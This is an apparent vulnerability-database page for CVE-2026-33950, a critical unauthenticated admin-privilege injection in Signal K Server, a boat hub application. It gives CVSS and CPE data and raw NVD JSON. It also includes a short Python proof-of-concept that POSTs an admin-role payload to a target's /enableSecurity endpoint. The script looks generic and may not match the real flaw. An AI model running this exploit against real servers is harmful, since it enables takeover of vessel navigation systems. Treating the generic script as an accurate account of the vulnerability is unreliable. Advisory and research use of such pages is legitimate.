Security Vulnerability Report
中文
CVE-2026-33950 CVSS 9.4 CRITICAL

CVE-2026-33950

Published: 2026-04-02 17:16:23
Last Modified: 2026-04-06 15:04:43

Description

Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.24.0-beta.4, there is a privilege escalation vulnerability by Admin Role Injection via /enableSecurity. An unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints. This issue has been patched in version 2.24.0-beta.4.

CVSS Details

CVSS Score
9.4
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:signalk:signal_k_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:signalk:signal_k_server:2.24.0:beta1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:signalk:signal_k_server:2.24.0:beta2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:signalk:signal_k_server:2.24.0:beta3:*:*:*:*:*:* - VULNERABLE
Signal K Server < 2.24.0-beta.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the Signal K Server target_url = "http://<target-ip>:3000/enableSecurity" # Malicious payload to inject Admin Role # Exploiting the privilege escalation vulnerability payload = { "admin": True, "role": "admin", "username": "attacker", "password": "pwned" } try: # Send POST request to inject admin role response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Exploit successful! Admin privileges granted.") print("[+] Response:" + response.text) else: print("[-] Exploit failed. Status code:" + str(response.status_code)) except Exception as e: print(f"[!] Error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33950", "sourceIdentifier": "[email protected]", "published": "2026-04-02T17:16:22.993", "lastModified": "2026-04-06T15:04:42.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.24.0-beta.4, there is a privilege escalation vulnerability by Admin Role Injection via /enableSecurity. An unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints. This issue has been patched in version 2.24.0-beta.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-288"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:signalk:signal_k_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.24.0", "matchCriteriaId": "64F9BA25-5552-4477-84F9-83E71B2CA56F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:signalk:signal_k_server:2.24.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "2484CB8F-BFFE-4F61-ACE2-A59F1F817F42"}, {"vulnerable": true, "criteria": "cpe:2.3:a:signalk:signal_k_server:2.24.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "D5464B6D-9FB4-4D67-B182-A312E3110AEF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:signalk:signal_k_server:2.24.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "B521B34B-9F81-46E4-88BB-617A3D8A653E"}]}]}], "references": [{"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.24.0-beta.4", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-x8hc-fqv3-7gwf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}